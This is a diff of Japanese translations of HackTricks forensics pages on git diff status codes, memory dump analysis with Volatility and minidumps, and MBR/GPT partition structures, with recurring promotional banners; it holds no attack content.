* `C`: コピーされたファイル * `C`: コピーされたファイル
* `D`: 削除されたファイル * `D`: 削除されたファイル
* `M`: 変更されたファイル * `M`: 変更されたファイル
* `R`: 名前が変更されたファイル * `R`: 名前が変更されたファイル
* `T`: タイプが変更されたファイル(例:ファイルからシンボリックリンクへ) * `T`: タイプの変更(例:ファイルからシンボリックリンクへ)
* `U`: マージされていないファイル * `U`: マージされていないファイル
* `X`: 不明なファイル * `X`: 不明なファイル
* `B`: 破損したファイル * `B`: 壊れたファイル
## 参考文献 ## 参考文献
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド**
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! あなたは**サイバーセキュリティ会社**で働いていますか?あなたの**会社をHackTricksで宣伝したい**ですか?それとも**最新のPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたい**ですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見てください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **参加する** [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または**私を** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**でフォローしてください。**
**ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** **あなたのハッキングトリックを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを送信して共有してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)を使用して、世界で**最も進んだ**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,69 +1,75 @@
# メモリーダンプ解析 # メモリダンプ分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手 * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## 開始 ## 開始
pcap内の**マルウェア**を検索してください。[**マルウェア解析**](../malware-analysis.md)で言及されている**ツール**を使用してください。 pcap内で**マルウェア**を**検索**し始めます。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用してください。
## [Volatility](volatility-cheatsheet.md) ## [Volatility](volatility-cheatsheet.md)
**Volatilityはメモリーダンプ解析の主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。 **Volatilityはメモリダンプ分析のための主要なオープンソースフレームワークです**。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを特定します。プラグインで拡張可能であり、法医学的調査に非常に柔軟です。
[**こちらでチートシートを見つける**](volatility-cheatsheet.md) [**ここにチートシートがあります**](volatility-cheatsheet.md)
## ミニダンプクラッシュレポート ## ミニダンプクラッシュレポート
ダンプが小さい場合数KB、おそらく数MB、それはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。 ダンプが小さい場合数KB、場合によっては数MBれはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。
![](<../../../.gitbook/assets/image (532).png>) ![](<../../../.gitbook/assets/image (532).png>)
Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドできます。 Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行中のモジュールなどの基本情報をバインドできます:
![](<../../../.gitbook/assets/image (263).png>) ![](<../../../.gitbook/assets/image (263).png>)
例外をロードして、逆コンパイルされた命令を表示することもできます 例外をロードしてデコンパイルされた命令を見ることもできます
![](<../../../.gitbook/assets/image (142).png>) ![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (610).png>) ![](<../../../.gitbook/assets/image (610).png>)
とにかく、Visual Studioはダンプの深い解析を行うための最適なツールではありません。 いずれにせよ、Visual Studioはダンプの深さの分析を行うための最良のツールではありません。
**IDA**または**Radare**を使用して、それを**詳細に**検査してください **IDA**または**Radare**を使用して**深く**検査する必要があります
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手 * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,153 +1,155 @@
# パーティション/ファイルシステム/カービング # パーティション/ファイルシステム/カービング
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
</details> </details>
{% endhint %}
## パーティション ## パーティション
ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\ ハードドライブまたは**SSDディスクは、データを物理的に分離する目的で異なるパーティションを含むことができます**。\
ディスクの**最小**単位は**セクタ**です通常、512Bで構成されています。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 ディスクの**最小**単位は**セクター**通常は512Bで構成されるです。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
### MBRマスターブートレコード ### MBRマスターブートレコード
これは、**ブートコードの446Bの後のディスクの最初のセクタに割り当てられて**います。このセクタは、PCにパーティションをどこからどのようにマウントすべきかを示すために不可欠です。\ これは、**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために不可欠です。\
最大で**4つのパーティション**を許可します(**最大で1つ**がアクティブ/**ブート可能**)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされることができます。\ 最大で**4つのパーティション**を許可します(**アクティブ/ブート可能**なのは最大で**1つ**のみ)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるパーティションは1つだけです。\
MBRは**最大2.2TB**を許可します。 MBRは**最大2.2TB**を許可します。
![](<../../../.gitbook/assets/image (350).png>) ![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (304).png>) ![](<../../../.gitbook/assets/image (304).png>)
MBRの**バイト440から443**には、**Windowsディスクシグネチャ**Windowsを使用している場合が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsの起動が阻害される可能性がありますツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 MBRの**バイト440から443**の間には、**Windowsディスク署名**が見つかりますWindowsが使用されている場合。ハードディスクの論理ドライブレターはWindowsディスク署名に依存します。この署名を変更すると、Windowsが起動しなくなる可能性がありますツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)****。
![](<../../../.gitbook/assets/image (310).png>) ![](<../../../.gitbook/assets/image (310).png>)
**フォーマット** **フォーマット**
| オフセット | 長さ | アイテム | | オフセット | 長さ | アイテム |
| ----------- | ---------- | ------------------- | | ------------ | --------- | ---------------------- |
| 0 (0x00) | 446(0x1BE) | ブートコード | | 0 (0x00) | 446(0x1BE)| ブートコード |
| 446 (0x1BE) | 16 (0x10) | 最初のパーティション | | 446 (0x1BE) | 16 (0x10) | 最初のパーティション |
| 462 (0x1CE) | 16 (0x10) | 2番目のパーティション | | 462 (0x1CE) | 16 (0x10) | 2番目のパーティション |
| 478 (0x1DE) | 16 (0x10) | 3番目のパーティション | | 478 (0x1DE) | 16 (0x10) | 3番目のパーティション |
| 494 (0x1EE) | 16 (0x10) | 4番目のパーティション | | 494 (0x1EE) | 16 (0x10) | 4番目のパーティション |
| 510 (0x1FE) | 2 (0x2) | シグネチャ 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA |
**パーティションレコードフォーマット** **パーティションレコードフォーマット**
| オフセット | 長さ | アイテム | | オフセット | 長さ | アイテム |
| --------- | -------- | ------------------------------------------------------ | | ------------ | -------- | ---------------------------------------------------------- |
| 0 (0x00) | 1 (0x01) | アクティブフラグ0x80 = ブート可能) | | 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) |
| 1 (0x01) | 1 (0x01) | 開始ヘッド | | 1 (0x01) | 1 (0x01) | 開始ヘッド |
| 2 (0x02) | 1 (0x01) | 開始セクタビット0-5シリンダーの上位ビット6-7 | | 2 (0x02) | 1 (0x01) | 開始セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 3 (0x03) | 1 (0x01) | 開始シリンダの下位8ビット | | 3 (0x03) | 1 (0x01) | 開始シリンダの下位8ビット |
| 4 (0x04) | 1 (0x01) | パーティションタイプコード0x83 = Linux | | 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | 終了ヘッド | | 5 (0x05) | 1 (0x01) | 終了ヘッド |
| 6 (0x06) | 1 (0x01) | 終了セクタビット0-5シリンダーの上位ビット6-7 | | 6 (0x06) | 1 (0x01) | 終了セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 7 (0x07) | 1 (0x01) | 終了シリンダの下位8ビット | | 7 (0x07) | 1 (0x01) | 終了シリンダの下位8ビット |
| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | | 8 (0x08) | 4 (0x04) | パーティション前のセクター (リトルエンディアン) |
| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 | | 12 (0x0C) | 4 (0x04) | パーティション内のセクター |
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります`fdisk`と`p`コマンドを使用できます) LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります`fdisk`と`p`コマンドを使用できます)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
その後、次のコードを使用します その後、次のコードを使用します
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes #63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (Logical block addressing)** **LBA (論理ブロックアドレッシング)**
**Logical block addressing** (**LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 **論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの位置を指定するために使用される一般的なスキームで、通常はハードディスクドライブなどの二次ストレージシステムです。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。
### GPT (GUID Partition Table) ### GPT (GUIDパーティションテーブル)
GUID Partition Table、通称GPTは、MBRMaster Boot Recordと比較して拡張機能が優れているために好まれています。パーティションのための**グローバルに一意な識別子**を持つGPTは、以下の点で優れています: GUIDパーティションテーブル、通称GPTは、MBRマスターブートレコードと比較してその強化された機能のために好まれています。GPTは、**パーティションのためのグローバルに一意の識別子**を持つことが特徴で、いくつかの点で際立っています:
* **位置とサイズ**GPTとMBRはどちらも**セクタ0**から開始します。ただし、GPTは**64ビット**で動作し、MBRの32ビットとは異なります。 * **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRは32ビットです。
* **パーティションの制限**GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 * **パーティション制限**: GPTはWindowsシステムで最大**128パーティション**をサポートし、最大**9.4ZB**のデータを収容できます。
* **パーティション名**最大36文字のUnicode文字でパーティションに名前を付ける機能を提供します。 * **パーティション名**: 最大36のUnicode文字でパーティションに名前を付けることができます。
**データの強靱さと回復** **データの耐障害性と回復**:
* **冗長性**MBRとは異なり、GPTはパーティション分割とブートデータを単一の場所に制限しません。これにより、データの整合性と強靱性が向上します。 * **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。このデータをディスク全体に複製し、データの整合性と耐障害性を向上させます。
* **巡回冗長性チェックCRC**GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 * **循環冗長検査 (CRC)**: GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合、GPTは別のディスク位置から破損したデータを回復しようとします。
**保護MBRLBA0** **保護MBR (LBA0)**:
* GPTは保護MBRを介して後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐよう設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 * GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、GPTフォーマットのディスク上のデータ整合性を保護します。
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
**ハイブリッドMBRLBA 0 + GPT** **ハイブリッドMBR (LBA 0 + GPT)**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Wikipediaから](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
EFIではなくBIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用されるかもしれませんが、**GPTパーティション**を認識するように**変更**されます。 MBRのブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 **BIOS**サービスを通じて**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを保存するためにも使用される可能性がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。
**パーティションテーブルヘッダーLBA 1** **パーティションテーブルヘッダー (LBA 1)**
[Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Wikipediaから](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義します(テーブルのオフセット80および84 パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義しますテーブルのオフセット80および84
| オフセット | 長さ | 内容 | | オフセット | 長さ | 内容 |
| --------- | ---- | ----------------------------------------------------------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54hまたは0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) | | 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)リトルエンディアンマシン上) |
| 8 (0x08) | 4バイト | UEFI 2.8用のリビジョン1.000h 00h 01h 00h | | 8 (0x08) | 4バイト | UEFI 2.8用のリビジョン 1.0 (00h 00h 01h 00h) |
| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00hまたは92バイト | | 12 (0x0C) | 4バイト | リトルエンディアンでのヘッダーサイズ (バイト単位、通常は5Ch 00h 00h 00hまたは92バイト) |
| 16 (0x10) | 4バイト | ヘッダーのCRC32オフセット+0からヘッダーサイズまでのリトルエンディアンでの値。このフィールドは計算中にゼロになります。 | | 16 (0x10) | 4バイト | ヘッダーの[CRC32](https://en.wikipedia.org/wiki/CRC32) (オフセット +0からヘッダーサイズまで) リトルエンディアンで、このフィールドは計算中にゼロにされます |
| 20 (0x14) | 4バイト | 予約済み;ゼロでなければなりません | | 20 (0x14) | 4バイト | 予約; ゼロでなければならない |
| 24 (0x18) | 8バイト | 現在のLBAこのヘッダーコピーの場所 | | 24 (0x18) | 8バイト | 現在のLBA (このヘッダーコピーの位置) |
| 32 (0x20) | 8バイト | バックアップLBA他のヘッダーコピーの場所 | | 32 (0x20) | 8バイト | バックアップLBA (他のヘッダーコピーの位置) |
| 40 (0x28) | 8バイト | パーティションの最初の使用可能なLBAプライマリパーティションテーブルの最後のLBA + 1 | | 40 (0x28) | 8バイト | パーティション用の最初の使用可能LBA (プライマリパーティションテーブルの最後のLBA + 1) |
| 48 (0x30) | 8バイト | 最後の使用可能なLBAセカンダリパーティションテーブルの最初のLBA 1 | | 48 (0x30) | 8バイト | 最後の使用可能LBA (セカンダリパーティションテーブルの最初のLBA 1) |
| 56 (0x38) | 16バイト | ミックスエンディアンのディスクGUID | | 56 (0x38) | 16バイト | 混合エンディアンのディスクGUID |
